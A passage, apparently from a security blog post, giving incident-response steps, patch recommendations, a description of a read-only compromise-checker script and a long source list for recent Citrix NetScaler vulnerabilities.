7. Rebuild from a fresh firmware image on the latest fixed build, and restore only a configuration backup from before the compromise, reviewed line by line.
8. Hunt in the internal network for lateral movement from the NetScaler’s IP addresses (SNIP/NSIP), such as new accounts, unusual logons and web shells.
9. Forward NetScaler logs to an external SIEM, and monitor the rebuilt appliance and connected systems closely for at least 90 days, as Citrix recommends.

↑ Back to contents

Citrix recommendations

• Install the updated versions as soon as possible.
• Review configurations against the preconditions and follow your standard incident response processes if you identify signs of compromise.
• Forward NetScaler logs to an external logging or SIEM platform.
• Subscribe to Citrix security bulletin notifications.
• Review the NetScaler Secure Deployment Guide and use NetScaler Console Security Advisory for your NetScaler deployments.

↑ Back to contents

My GitHub script netscaler-ctx697096-checker

A free, read-only script you run on the NetScaler shell. It changes nothing on the appliance and sends nothing anywhere. One command answers two questions: am I fixed? and was I hacked?

• Fix check: your build, all 8 CTX697096 preconditions, Enhanced ISN and upgrade risks.
• Compromise check (--ioc): every public indicator (webshells, implants, backdoor admins, persistence, config theft, log injection, attacker IPs), with every attack line tagged before or after your fix.
• CVE-2026-88779 (SAML): whether you are affected (samlAction / samlIdPProfile) and your build has the fix, whether a SAML policy is bound -type AAA_REQUEST on every Gateway and AAA vserver, whether the Responder feature is on, and nsaaad crashes.
• Many appliances: --summary gives one result line per appliance, for NetScaler Console jobs.

Latest version: v1.14 (6th October 2026). Detects the config and SSL-key theft payload and gives a clear COMPROMISED verdict. New from community pull requests by feiglein74: PHP webshells and setuid backdoors outside the known places, and fewer false alarms. Checks CVE-2026-88779 (CTX697174, on CISA’s KEV list) on every run, checks that the SAML policy covers every Gateway and AAA vserver, hunts for SAML probes and randomly named *.receiver webshells, and checks 106 attacker IPs, 15 domains and 34 hashes. Running many appliances? See Julian Jakob’s Console job templates and Ferroque Systems’ bulk runner.

Run it on both HA nodes: sh ctx697096_check.sh --ioc

• Download the script on GitHub
• Release notes (all versions)

↑ Back to contents

Community recommendations

• Treat this as an emergency change. Do not wait for next week’s change advisory board.
• Upgrade both nodes of an HA pair, and remember NetScalers you may have forgotten: test, DR, lab, and Secure Private Access hybrid instances.
• If you are still on 12.1 or 13.0, this is the moment to move to 14.1.
• Check SAML and NS variables before the maintenance window, so the upgrade does not turn into an outage.
• Work out your exposure window: when was the NetScaler last patched, and how long was it exposed? Investigate both nodes of an HA pair independently, since a clean node does not clear its peer. For a thorough, step-by-step compromise assessment, see Manuel Winkel’s excellent NetScaler CVE checklist: updates, security assessment and incident response.
• Keep watching the timeline above. Citrix may update the bulletin, NVD will complete its analysis, and CISA may add more of the eight CVEs to the KEV catalog if exploitation is observed.

↑ Back to contents

Source

• Citrix – CTX697174: Security Bulletin for CVE-2026-88779
• CISA – Known Exploited Vulnerabilities catalog (CVE-2026-88779 added 4 October 2026)
• BleepingComputer – Citrix patches NetScaler SAML zero-day exploited in attacks
• NetScaler Cyber Threat Intelligence – Understanding and Addressing CVE-2026-88779
• CVE record – CVE-2026-88779
• Julian Jakob – NetScaler: run and get IoC scripts with Console
• Ferroque Systems – netscaler-ioc-bulk-check
• NetScaler Cyber Threat Intelligence – Understanding NetScaler Indicators of Compromise (Citrix Tech Zone)
• Nextron Systems – New THOR detection coverage for CVE-2026-88771 and CVE-2026-88772
• Corelight – Hunting Citrix NetScaler zero-days
• Elastic – Potential NetScaler Log Poisoning Command Injection Attempt (detection rule)
• Deyda – NetScaler IoC triage script (GitHub)
• TENEX – What TENEX observed inside active exploitation of the NetScaler zero-day
• The Hacker News – LevelBlue on Citrix NetScaler post-exploitation
• LevelBlue SpiderLabs – Observed Exploitation Artifacts and Hunt Indicators
• Sygnia – Actively Exploited NetScaler Vulnerabilities
• Unit 42 – NetScaler zero-days exploited (Palo Alto Networks)
• Arctic Wolf – Citrix NetScaler active exploitation via CVE-2026-88771 (alert pack, GitHub)
• watchTowr – detection artefact generator for CVE-2026-88772 (GitHub)
• Beazley Security – BSL-A1216: Citrix NetScaler zero-day advisory
• PitScaler.com – timeline and IoC collection (CSV)
• netscaler-ctx697096-checker – precondition checker script (GitHub)
• CTX697096 – Citrix NetScaler ADC and Citrix NetScaler Gateway Security Bulletin for CVE-2026-88771 through CVE-2026-88778
• NetScaler Console – Indicators of Compromise (IoC) detection
• NetScaler Console – Security Advisory dashboard
• Mandiant / Google Threat Intelligence – Defending Against Active Exploitation of Citrix NetScaler ADC and Gateway Appliances
• CERT-EU – Taking “execute logging” a bit too literally (CVE-2026-88771)
• GreyNoise – Swarming Against Citrix 0-Day Exploitation
• watchTowr – public PoC for CVE-2026-88771 (GitHub)
• Citrix Tech Zone – Guidance for CVE-2026-88771 through CVE-2026-88778
• NVD – CVE-2026-88771
• NVD – CVE-2026-88772
• CISA – CISA Adds Two Known Exploited Vulnerabilities to Catalog
• CISA – Critical Zero-Day Vulnerabilities Exploited in Citrix NetScaler ADC, Gateway
• CTX694799 – Steps to Take if NetScaler ADC is Suspected to be Compromised
• CISA KEV catalog – CVE-2026-88772
• BleepingComputer – CISA orders feds to patch exploited Citrix flaws by Wednesday
• CTX696939 – Security Bulletin for CVE-2026-19489 and CVE-2026-19490
• NetScaler docs – Enhanced ISN generation
• NetScaler docs – NetScaler configurations support in admin partition
• Deyda (Manuel Winkel) – NetScaler CVE checklist: updates, security assessment and incident response
• watchTowr Labs – Citrix NetScaler Pre-Auth Command Injection (CVE-2026-88771)
• The Hacker News – Two Unpatched Citrix NetScaler RCE Zero-Days Under Active Exploitation
• Cyber Kendra – Unpatched NetScaler Zero-Days Exploited, watchTowr Says
• Rapid7 – CVE-2026-19490